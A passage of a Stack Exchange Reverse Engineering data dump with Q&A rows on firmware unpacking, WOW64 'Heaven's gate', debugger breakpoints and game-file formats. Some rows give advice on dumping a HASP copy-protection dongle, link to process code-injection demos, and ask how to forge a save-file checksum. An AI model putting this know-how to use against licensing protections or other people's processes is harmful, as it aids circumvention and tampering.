  <row Id="16195" PostTypeId="2" ParentId="16193" CreationDate="2017-08-27T17:29:02.737" Score="2" Body="&lt;p&gt;Depending on the architecture and the debugger backend selected, you should be able to use a hardware breakpoint to monitor reads and/or writes to a specific memory location. See &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/1407.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;Breakpoint Options&lt;/a&gt; for more details.&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="2147" LastEditDate="2017-08-29T07:18:32.537" LastActivityDate="2017-08-29T07:18:32.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16197" PostTypeId="1" CreationDate="2017-08-27T18:57:15.373" Score="0" ViewCount="2125" Body="&lt;p&gt;The firmware update page on Hikvision provide .dav files. I've been trying to disassemble these files, but to no success. Binwalk isn't helping here as well. This is what it outputs: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/vLBoD.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vLBoD.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a link to one of the .dav files:&#xA;&lt;a href=&quot;http://oversea-download.hikvision.com/uploadfile/Firmware/DVR/DS-73818090HUH-FN_ML_STD_V3.4.81_Build170227.zip&quot; rel=&quot;nofollow noreferrer&quot;&gt;Firmware&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is appreciated.&lt;/p&gt;&#xA;" OwnerUserId="21380" LastActivityDate="2017-08-27T19:35:39.977" Title="Disassembling Hikvision DVR firmware?" Tags="|disassembly|firmware|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16198" PostTypeId="1" CreationDate="2017-08-27T19:01:23.083" Score="0" ViewCount="407" Body="&lt;p&gt;I have this .DIG file from a PS2 game:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://drive.google.com/open?id=0B8-7FMP3lW8cU3NqUmNUcWdhcEk&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://drive.google.com/open?id=0B8-7FMP3lW8cU3NqUmNUcWdhcEk&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apparently, it should contain most of the game data, except cutscene movies and voiceovers, which are stored in different files. I could identify and extract audio with the IECS header from it. But how do I extract the rest? I'm particularly interested in textures, and above all, the dialogue files.&lt;/p&gt;&#xA;" OwnerUserId="21309" LastActivityDate="2017-10-28T16:21:26.090" Title="How to extract contents from this .DIG file?" Tags="|file-format|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16199" PostTypeId="2" ParentId="16197" CreationDate="2017-08-27T19:35:39.977" Score="1" Body="&lt;p&gt;The .dav file is composed of multiple archives which need to be decompressed. If it's the PE files you are interested in disassembling then consider the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you run &lt;code&gt;binwalk -e digicap.dav&lt;/code&gt; and navigate to the &lt;code&gt;_digicap.dav.extracted/&lt;/code&gt; directory, you should see the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;_digicap.dav.extracted $ ll&#xA;total 26724&#xA;drwxr-xr-x 3 user01 user01     4096 Aug 27 15:16 ./&#xA;drwxr-xr-x 3 user01 user01     4096 Aug 27 15:16 ../&#xA;-rw-r--r-- 1 user01 user01      840 Aug 27 15:16 1FAB025&#xA;-rw-r--r-- 1 user01 user01  1452355 Aug 27 15:16 1FAB025.7z&#xA;-rw-r--r-- 1 user01 user01 25869132 Aug 27 15:16 861E14.zip&#xA;drwxr-xr-x 2 user01 user01     4096 Aug 27 15:16 Player_EN/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There are PE binaries present in the &lt;code&gt;Player_EN&lt;/code&gt; directory:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ ll&#xA;total 7104&#xA;drwxr-xr-x 2 user01 user01    4096 Aug 27 15:16 ./&#xA;drwxr-xr-x 3 user01 user01    4096 Aug 27 15:16 ../&#xA;-rw-r--r-- 1 user01 user01  146432 Aug 25  2016 AudioRender.dll&#xA;-rw-r--r-- 1 user01 user01 1998168 Jul 19  2016 D3DX9_43.dll&#xA;-rw-r--r-- 1 user01 user01 3871744 Oct 28  2016 PlayCtrl.dll&#xA;-rw-r--r-- 1 user01 user01  352768 Oct 22  2016 SuperRender.dll&#xA;-rw-r--r-- 1 user01 user01  847872 Nov  9  2016 VSPlayer.exe&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Example hexdump of &lt;code&gt;VSPlayer.exe&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000000  4d 5a 90 00 03 00 00 00  04 00 00 00 ff ff 00 00  |MZ..............|&#xA;00000010  b8 00 00 00 00 00 00 00  40 00 00 00 00 00 00 00  |........@.......|&#xA;00000020  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&#xA;00000030  00 00 00 00 00 00 00 00  00 00 00 00 f0 00 00 00  |................|&#xA;00000040  0e 1f ba 0e 00 b4 09 cd  21 b8 01 4c cd 21 54 68  |........!..L.!Th|&#xA;00000050  69 73 20 70 72 6f 67 72  61 6d 20 63 61 6e 6e 6f  |is program canno|&#xA;00000060  74 20 62 65 20 72 75 6e  20 69 6e 20 44 4f 53 20  |t be run in DOS |&#xA;00000070  6d 6f 64 65 2e 0d 0d 0a  24 00 00 00 00 00 00 00  |mode....$.......|&#xA;00000080  7f 27 dc c1 3b 46 b2 92  3b 46 b2 92 3b 46 b2 92  |.'..;F..;F..;F..|&#xA;00000090  1c 80 df 92 38 46 b2 92  1c 80 c9 92 2f 46 b2 92  |....8F....../F..|&#xA;000000a0  32 3e 21 92 3c 46 b2 92  3b 46 b3 92 45 44 b2 92  |2&amp;gt;!.&amp;lt;F..;F..ED..|&#xA;000000b0  86 09 24 92 3a 46 b2 92  32 3e 27 92 3e 46 b2 92  |..$.:F..2&amp;gt;'.&amp;gt;F..|&#xA;000000c0  32 3e 31 92 2c 46 b2 92  32 3e 36 92 25 46 b2 92  |2&amp;gt;1.,F..2&amp;gt;6.%F..|&#xA;000000d0  25 14 26 92 3a 46 b2 92  32 3e 23 92 3a 46 b2 92  |%.&amp;amp;.:F..2&amp;gt;#.:F..|&#xA;000000e0  52 69 63 68 3b 46 b2 92  00 00 00 00 00 00 00 00  |Rich;F..........|&#xA;000000f0  50 45 00 00 4c 01 04 00  34 bb 22 58 00 00 00 00  |PE..L...4.&quot;X....|&#xA;00000100  00 00 00 00 e0 00 03 01  0b 01 09 00 00 44 02 00  |.............D..|&#xA;00000110  00 a8 0a 00 00 00 00 00  57 1e 02 00 00 10 00 00  |........W.......|&#xA;00000120  00 60 02 00 00 00 40 00  00 10 00 00 00 02 00 00  |.`....@.........|&#xA;00000130  05 00 00 00 00 00 00 00  05 00 00 00 00 00 00 00  |................|&#xA;00000140  00 20 0d 00 00 04 00 00  a8 11 0d 00 02 00 00 80  |. ..............|&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18317" LastActivityDate="2017-08-27T19:35:39.977" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16200" PostTypeId="1" AcceptedAnswerId="16203" CreationDate="2017-08-28T11:22:25.693" Score="8" ViewCount="5251" Body="&lt;p&gt;There is surprisingly little information about Windows WOW64 mechanism.&lt;br&gt;&#xA;I'm trying to investigate it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So when we have system call in 32-land, it calls an address that is stored in &lt;code&gt;FS&lt;/code&gt;, which leads us to a weird &lt;code&gt;jmp&lt;/code&gt; with &lt;code&gt;033:&lt;/code&gt; prefix.&lt;br&gt;&#xA;If I understand correctly, this jump is transferring us to 64-land, but still on user-mode. The jump to kernel-mode should happen afterwards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to follow this jump. My debugger doesn't do that. How can I do it?&lt;/p&gt;&#xA;" OwnerUserId="16414" LastEditorUserId="18064" LastEditDate="2018-06-11T14:10:32.007" LastActivityDate="2018-06-11T14:10:32.007" Title="How to investigate Windows 32/64bit (WOW64) transition" Tags="|windows|debugging|x86|anti-debugging|x86-64|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="16201" PostTypeId="2" ParentId="15786" CreationDate="2017-08-28T11:28:37.243" Score="3" Body="&lt;p&gt;You should place a breakpoint to the window-creating APIs. Here is my list of APIs that might open a window. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        &amp;lt;Api Name=&quot;CreateDialogIndirectParamA&quot;/&amp;gt;&#xA;        &amp;lt;Api Name=&quot;CreateDialogIndirectParamW&quot;/&amp;gt;&#xA;        &amp;lt;Api Name=&quot;CreateDialogParamA&quot;/&amp;gt;&#xA;        &amp;lt;Api Name=&quot;CreateDialogParamW&quot;/&amp;gt;&#xA;        &amp;lt;Api Name=&quot;CreateWindowA&quot;/&amp;gt;&#xA;        &amp;lt;Api Name=&quot;CreateWindowExA&quot;/&amp;gt;&#xA;        &amp;lt;Api Name=&quot;CreateWindowExW&quot;/&amp;gt;&#xA;        &amp;lt;Api Name=&quot;CreateWindowW&quot;/&amp;gt;&#xA;        &amp;lt;Api Name=&quot;DialogBoxIndirectParamA&quot;/&amp;gt;&#xA;        &amp;lt;Api Name=&quot;DialogBoxIndirectParamW&quot;/&amp;gt;&#xA;        &amp;lt;Api Name=&quot;DialogBoxParamA&quot;/&amp;gt;&#xA;        &amp;lt;Api Name=&quot;DialogBoxParamW&quot;/&amp;gt;&#xA;        &amp;lt;Api Name=&quot;MessageBoxA&quot;/&amp;gt;&#xA;        &amp;lt;Api Name=&quot;MessageBoxExA&quot;/&amp;gt;&#xA;        &amp;lt;Api Name=&quot;MessageBoxExW&quot;/&amp;gt;&#xA;        &amp;lt;Api Name=&quot;MessageBoxIndirectA&quot;/&amp;gt;&#xA;        &amp;lt;Api Name=&quot;MessageBoxIndirectW&quot;/&amp;gt;&#xA;        &amp;lt;Api Name=&quot;MessageBoxTimeoutA&quot;/&amp;gt;&#xA;        &amp;lt;Api Name=&quot;MessageBoxTimeoutW&quot;/&amp;gt;&#xA;        &amp;lt;Api Name=&quot;MessageBoxW&quot;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Use programs such as &lt;a href=&quot;http://www.rohitab.com/apimonitor&quot; rel=&quot;nofollow noreferrer&quot;&gt;API Monitor&lt;/a&gt; to find how the application opens the window, and place a BP on it.&lt;/p&gt;&#xA;" OwnerUserId="16414" LastEditorUserId="161" LastEditDate="2017-08-28T17:14:30.093" LastActivityDate="2017-08-28T17:14:30.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16202" PostTypeId="1" CreationDate="2017-08-28T14:04:43.963" Score="0" ViewCount="164" Body="&lt;p&gt;I am trying to dump a hasp dongle on a popular arcade machine. I can only get a portion with the game not running. If I ctrl alt del while game is already running I get a memory crash. What is the best way to proceed? Is there a way to get my dumper or even a cmd window forced to the front? Arcade game uses windows XP sp3.&lt;/p&gt;&#xA;" OwnerUserId="21167" LastActivityDate="2017-08-28T20:25:41.927" Title="I Need to force windows to the front So I can dump Hasp Dongle on program that runs at boot" Tags="|windows|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16203" PostTypeId="2" ParentId="16200" CreationDate="2017-08-28T15:42:42.113" Score="18" Body="&lt;p&gt;The technique of jumping to 64bit code from a 32bit WOW64-ed process is commonly called &quot;Heaven's gate&quot; when performed manually. This is usually done to use 64bit features (such as manipulating 64bit processes by calling 64bit versions of windows APIs) or by malware to make debugging more difficult, which is coincidentally what you seem to be experiencing ;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Searching for that term online may yield more results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most user-mode debuggers indeed don't handle that transition well for multiple reasons (one being the debugger assumes a 32bit process, while you're now executing 64bit code, another being user-mode debugging APIs don't support that).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;TL;DR:&lt;/em&gt; The &quot;solution&quot; for that situation is to debug using a debugger that explicitly made the effort to support 32 and 64 bit interleaved processes. Although this is often easier for a kernel mode debugger), such as windbg, or other debuggers that support both 32 and 64 bit modes (&lt;s&gt;x64dbg should be able to do it, although I never tried&lt;/s&gt; As mentioned in the comments x64dbg is unable to do that).&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;A brief explanation of Heaven's gate&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;There's a special DLL loaded into 32bit processes on 64bit windows environments, this DLL is &lt;code&gt;wow64cpu.dll&lt;/code&gt;. This DLL is responsible for most of the WOW64 magic, and specifically for implementing the transition from 32 to 64 bit inside 32 bit processes (WOW64-ed processes).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is mandatory because as the operating system is natively 64 bit, all utilities, APIs and low level functionalities are implemented using 64 bit code (otherwise what's the point of having 64 bit OSes??). Therefore, every time an WOW64-ed process requires a OS assistance, it must first translate from 32bit CPU mode to 64 bit CPU mode.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;So, how's the transition done, and what's that wow64cpu.dll you mentioned got to do with it?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;To make a long story short, the value at &lt;code&gt;fs:[0c0h]&lt;/code&gt; is set to an address inside &lt;code&gt;wow64cpu.dll&lt;/code&gt;. This field is called &lt;code&gt;WOW32Reserved&lt;/code&gt; and it points to a far jump to a specific address, using the &lt;code&gt;033&lt;/code&gt; segment. Changing the segment selector to &lt;code&gt;33&lt;/code&gt; (from &lt;code&gt;23&lt;/code&gt;, which is used for 32bit code) does not change the code selector or the base addressing, you're merely changing the &lt;a href=&quot;https://en.wikipedia.org/wiki/Global_Descriptor_Table&quot; rel=&quot;noreferrer&quot;&gt;GDT&lt;/a&gt; entry used to execute the target code, specifically - you replace the 4th GDT with the 6th.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;GDT entries 4 and 6 only differ in a couple of flags being set - those controlling whether the CPU is executing in 16, 32, and 64 modes (well, those GDT entries only have flags set for 32 and 64 bit modes, but transitioning to 16 bit can be achieved in a similar manner).&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Where to go on from here?&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;As this is a big and complicated topic, I prefer redirecting you to relevant articles over touching the low-level details in here more than I already did. Here are several useful articles, on the more theoretical side of things:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.malwaretech.com/2014/02/the-0x33-segment-selector-heavens-gate.html&quot; rel=&quot;noreferrer&quot;&gt;Explanation of the &quot;weird jump to &lt;code&gt;33:&lt;/code&gt; segment&quot;&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://rce.co/knockin-on-heavens-gate-dynamic-processor-mode-switching/&quot; rel=&quot;noreferrer&quot;&gt;Explanation of the entire WOW64 mechanism from the process's perspective, including how to debug it to see it happening&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://vxheaven.org/lib/vrg02.html&quot; rel=&quot;noreferrer&quot;&gt;A very brief explanation of the flow executed, and the article historically keying the term &quot;Heaven's gate&quot;&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.alex-ionescu.com/?p=300&quot; rel=&quot;noreferrer&quot;&gt;Another in-depth explanation&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;The Windows Internals book series.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Additionally, here are several actual open source implementations of natively executing 64 bit code inside &lt;code&gt;WOW64&lt;/code&gt;-ed 32 bit process:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://gist.github.com/Cr4sh/76b66b612a5d1dc2c614&quot; rel=&quot;noreferrer&quot;&gt;This&lt;/a&gt; is a code snippet that implements some direct 64 bit OS operations.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://github.com/rwfpl/rewolf-wow64ext&quot; rel=&quot;noreferrer&quot;&gt;This&lt;/a&gt; is a full blown heaven's gate implementation.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/dadas190/Heavens-Gate-2.0&quot; rel=&quot;noreferrer&quot;&gt;This&lt;/a&gt; is another, later, full blown heaven's gate implementation.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2017-09-03T07:16:23.123" LastActivityDate="2017-09-03T07:16:23.123" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="16204" PostTypeId="2" ParentId="16202" CreationDate="2017-08-28T17:13:13.710" Score="1" Body="&lt;p&gt;If you are able to run an application, this &lt;a href=&quot;http://owl-black.net/479-how-to-change-z-order-of-a-window&quot; rel=&quot;nofollow noreferrer&quot;&gt;C# example will get you started&lt;/a&gt;. It will allow you to change the z-order of the application automatically, by calling &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ms633545(v=vs.85).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;SetWindowPos&lt;/a&gt; with HWND_BOTTOM as the parameter. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will send the topmost window to the bottom of the z-order and you should be able to place new windows above it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to identify the window handle of the topmost application (if you know the title of the application window, you can use &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ms633499(v=vs.85).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;FindWindow&lt;/a&gt;), or you can find the window handle by using &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ms633497(v=vs.85).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;EnumWindows&lt;/a&gt; and &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ms633517(v=vs.85).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;GetWindowModuleFileName&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will require you to be able to execute an application on startup. However since you said you are able to edit the registry you could put this executable on the system and set it to run at user logon, shortly after the launch of the application you are interested in.&lt;/p&gt;&#xA;" OwnerUserId="161" LastActivityDate="2017-08-28T17:13:13.710" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="16205" PostTypeId="2" ParentId="16172" CreationDate="2017-08-28T17:27:25.250" Score="2" Body="&lt;p&gt;Aphex has demo's written in Delphi with a few code injection examples. Should compile with Delphi 2007...&lt;strong&gt;maybe&lt;/strong&gt; even with Delphi 7.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.delphibasics.info/home/delphibasicssnippets/afxcodehookexample-remoteprocedureinjection&quot; rel=&quot;nofollow noreferrer&quot;&gt;Remote Procedure Injection&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.delphibasics.info/home/delphibasicssnippets/afxcodehookexample-injectlibrary&quot; rel=&quot;nofollow noreferrer&quot;&gt;InjectLibrary&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.delphibasics.info/home/delphibasicssnippets/afxcodehookexample-injectlibraryex&quot; rel=&quot;nofollow noreferrer&quot;&gt;InjectLibraryEx&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.delphibasics.info/home/delphibasicssnippets/afxcodehookexample-createprocessex&quot; rel=&quot;nofollow noreferrer&quot;&gt;CreateProcessEx&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.delphibasics.info/home/delphibasicssnippets/afxcodehookexample-injectexecutable&quot; rel=&quot;nofollow noreferrer&quot;&gt;Inject Executable&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Most examples rely on Aphex's &lt;a href=&quot;http://www.delphibasics.info/home/delphibasicssnippets/afxcodehookbyaphex&quot; rel=&quot;nofollow noreferrer&quot;&gt;AfxCodeHook library (with source)&lt;/a&gt;, and this is where the heavy lifting is done. Even without a copy of Delphi, you can review this source to understand the techniques used.&lt;/p&gt;&#xA;" OwnerUserId="161" LastActivityDate="2017-08-28T17:27:25.250" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16206" PostTypeId="1" CreationDate="2017-08-28T17:29:03.403" Score="0" ViewCount="394" Body="&lt;p&gt;There is a game called &lt;a href=&quot;http://store.steampowered.com/app/518790/theHunter_Call_of_the_Wild/&quot; rel=&quot;nofollow noreferrer&quot;&gt;The Hunter, call of the Wild&lt;/a&gt;, in which you can spend skill points in skills.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whenever you spend 1 skill point there is an statistics file in which 2 changes are done: the crc/checksum/whatever at the begining of the file, and a byte with the amount of skill points.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I would like to know, is how those 4 first bytes are generated. I have tried with some CRCs, but no one fits the numbers. I saw this webpage, and I thought someone would enjoy the puzzle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTW, I am an experienced developer, so any piece of code in any language is welcome.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;File content when 1 skill point has been spent:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;11da a0ea 0000 0000 0200 0000 0000 0000&#xA;0000 0000 c659 3c1d 0200 0000 0000 0000&#xA;0000 0000 c9dd 36e4 1004 0000 0000 0000&#xA;0400 0000 0000 0000 56a0 f406 01b4 b3fc&#xA;5501 1bba 9458 0167 fc24 c001 16a0 8e28&#xA;3200 0000 0000 0000 8e21 cd06 f800 0000&#xA;0000 0000 0000 0000 0000 0000 cec5 140b&#xA;1200 0000 0000 0000 0000 0000 0000 0000&#xA;9b9d dd24 0000 0000 3979 5543 0000 0000&#xA;0000 0000 9619 9429 0000 0000 0000 0000&#xA;0000 0000 0000 0000 67ce ba38 0300 0000&#xA;0000 0000 0000 0000 0000 0000 73ab 133f&#xA;0300 0000 0000 0000 0000 0000 0000 0000&#xA;c5cc 9a56 0200 0000 0000 0000 0000 0000&#xA;0000 0000 8d58 6967 0100 0000 0000 0000&#xA;0000 0000 0000 0000 f8f9 8f6d 0000 0000&#xA;0000 0000 0000 0000 0000 0000 7833 0270&#xA;2700 0000 0000 0000 0000 0000 0000 0000&#xA;2af7 d078 0000 0000 0000 0000 0000 0000&#xA;0000 0000 7ba6 447b 1400 0000 0000 0000&#xA;0000 0000 0000 0000 f9b9 ac7d 3900 0000&#xA;0000 0000 0000 0000 0000 0000 3ce1 ae8b&#xA;0000 0000 0000 0000 0000 0000 0000 0000&#xA;2414 b28c 0400 0000 0000 0000 0000 0000&#xA;0000 0000 90d7 ea90 0b00 0000 0000 0000&#xA;0000 0000 0000 0000 73b6 8d96 0200 0000&#xA;0000 0000 0000 0000 0000 0000 6845 fa9a&#xA;0700 0000 0000 0000 0000 0000 0000 0000&#xA;6462 3b9b 0000 0000 0000 0000 0000 0000&#xA;0000 0000 72e5 169e 0200 0000 0000 0000&#xA;0000 0000 0000 0000 072a 3ca5 0100 0000&#xA;0000 0000 0000 0000 0000 0000 e3d7 a9a7&#xA;0500 0000 0000 0000 0000 0000 0000 0000&#xA;ff3b 0fb4 0000 0000 0000 0000 0000 0000&#xA;0000 0000 24d3 0abd 5500 0000 0000 0000&#xA;0000 0000 0000 0000 9fc9 3ebd 0f00 0000&#xA;0000 0000 0000 0000 0000 0000 eb83 27be&#xA;0000 0000 0000 0000 0000 0000 0000 0000&#xA;3b29 19bf 0b00 0000 0000 0000 0000 0000&#xA;0000 0000 b2ee 32c4 0000 0000 0000 0000&#xA;0000 0000 0000 0000 8c86 48cd 0100 0000&#xA;0000 0000 0000 0000 0000 0000 4c04 35ce&#xA;0000 0000 0000 0000 0e01 0000 0000 5c43&#xA;f5a1 3dce 0000 0000 0000 0000 2a00 0000&#xA;0000 e041 176c 03d0 0000 0000 0000 0000&#xA;0000 0000 0000 0000 b520 dfd5 0000 0000&#xA;0000 0000 0000 0000 0000 0000 82aa 10da&#xA;4000 0000 0000 0000 0000 0000 0000 0000&#xA;0f87 a7da 0000 0000 00f0 653e 0000 0000&#xA;0000 0000 560f fcda 0000 0000 0000 0000&#xA;0000 0000 0000 0000 9180 d8db 9792 0000&#xA;0000 0000 0000 0000 0000 0000 c6af cede&#xA;0000 0000 9ab0 3048 0000 0000 0000 0000&#xA;af6c b4e2 0500 0000 0000 0000 0000 0000&#xA;0000 0000 6b8f 98e8 1300 0000 0000 0000&#xA;0000 0000 0000 0000 584c 25e9 0200 0000&#xA;0000 0000 0000 0000 0000 0000 e52a 5ee9&#xA;0000 0000 6e52 3a48 0000 0000 0000 0000&#xA;59cb e7ea 0500 0000 0000 0000 0000 0000&#xA;0000 0000 37dd edeb 0700 0000 0000 0000&#xA;0000 0000 0000 0000 3936 b7f1 3d01 0000&#xA;0000 0000 0000 0000 0000 0000 8187 69f3&#xA;0100 0000 0000 0000 0000 0000 0000 0000&#xA;d98e c4f7 810d 0000 0000 0000 0000 0000&#xA;0000 0000 d2e7 39fa 0000 0000 00f0 653e&#xA;0000 0000 0000 0000 8b4c 4dfa 0200 0000&#xA;0000 0000 0000 0000 0000 0000 2ce8 62fc&#xA;0000 0000 0000 0000 3801 0000 0000 7843&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When 2 skill points have been spent:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;d624 dc73 0000 0000 0200 0000 0000 0000&#xA;0000 0000 c659 3c1d 0200 0000 0000 0000&#xA;0000 0000 c9dd 36e4 1004 0000 0000 0000&#xA;0400 0000 0000 0000 56a0 f406 01b4 b3fc&#xA;5501 1bba 9458 0167 fc24 c001 16a0 8e28&#xA;3200 0000 0000 0000 8e21 cd06 f800 0000&#xA;0000 0000 0000 0000 0000 0000 cec5 140b&#xA;1200 0000 0000 0000 0000 0000 0000 0000&#xA;9b9d dd24 0000 0000 3979 5543 0000 0000&#xA;0000 0000 9619 9429 0000 0000 0000 0000&#xA;0000 0000 0000 0000 67ce ba38 0300 0000&#xA;0000 0000 0000 0000 0000 0000 73ab 133f&#xA;0300 0000 0000 0000 0000 0000 0000 0000&#xA;c5cc 9a56 0200 0000 0000 0000 0000 0000&#xA;0000 0000 8d58 6967 0100 0000 0000 0000&#xA;0000 0000 0000 0000 f8f9 8f6d 0000 0000&#xA;0000 0000 0000 0000 0000 0000 7833 0270&#xA;2700 0000 0000 0000 0000 0000 0000 0000&#xA;2af7 d078 0000 0000 0000 0000 0000 0000&#xA;0000 0000 7ba6 447b 1400 0000 0000 0000&#xA;0000 0000 0000 0000 f9b9 ac7d 3900 0000&#xA;0000 0000 0000 0000 0000 0000 3ce1 ae8b&#xA;0000 0000 0000 0000 0000 0000 0000 0000&#xA;2414 b28c 0400 0000 0000 0000 0000 0000&#xA;0000 0000 90d7 ea90 0b00 0000 0000 0000&#xA;0000 0000 0000 0000 73b6 8d96 0200 0000&#xA;0000 0000 0000 0000 0000 0000 6845 fa9a&#xA;0700 0000 0000 0000 0000 0000 0000 0000&#xA;6462 3b9b 0000 0000 0000 0000 0000 0000&#xA;0000 0000 72e5 169e 0200 0000 0000 0000&#xA;0000 0000 0000 0000 072a 3ca5 0100 0000&#xA;0000 0000 0000 0000 0000 0000 e3d7 a9a7&#xA;0500 0000 0000 0000 0000 0000 0000 0000&#xA;ff3b 0fb4 0000 0000 0000 0000 0000 0000&#xA;0000 0000 24d3 0abd 5500 0000 0000 0000&#xA;0000 0000 0000 0000 9fc9 3ebd 0f00 0000&#xA;0000 0000 0000 0000 0000 0000 eb83 27be&#xA;0000 0000 0000 0000 0000 0000 0000 0000&#xA;3b29 19bf 0b00 0000 0000 0000 0000 0000&#xA;0000 0000 b2ee 32c4 0000 0000 0000 0000&#xA;0000 0000 0000 0000 8c86 48cd 0100 0000&#xA;0000 0000 0000 0000 0000 0000 4c04 35ce&#xA;0000 0000 0000 0000 0e01 0000 0000 5c43&#xA;f5a1 3dce 0000 0000 0000 0000 2a00 0000&#xA;0000 e041 176c 03d0 0000 0000 0000 0000&#xA;0000 0000 0000 0000 b520 dfd5 0000 0000&#xA;0000 0000 0000 0000 0000 0000 82aa 10da&#xA;4000 0000 0000 0000 0000 0000 0000 0000&#xA;0f87 a7da 0000 0000 00f0 653e 0000 0000&#xA;0000 0000 560f fcda 0000 0000 0000 0000&#xA;0000 0000 0000 0000 9180 d8db 9792 0000&#xA;0000 0000 0000 0000 0000 0000 c6af cede&#xA;0000 0000 9ab0 3048 0000 0000 0000 0000&#xA;af6c b4e2 0500 0000 0000 0000 0000 0000&#xA;0000 0000 6b8f 98e8 1300 0000 0000 0000&#xA;0000 0000 0000 0000 584c 25e9 0200 0000&#xA;0000 0000 0000 0000 0000 0000 e52a 5ee9&#xA;0000 0000 6e52 3a48 0000 0000 0000 0000&#xA;59cb e7ea 0500 0000 0000 0000 0000 0000&#xA;0000 0000 37dd edeb 0700 0000 0000 0000&#xA;0000 0000 0000 0000 3936 b7f1 3d01 0000&#xA;0000 0000 0000 0000 0000 0000 8187 69f3&#xA;0200 0000 0000 0000 0000 0000 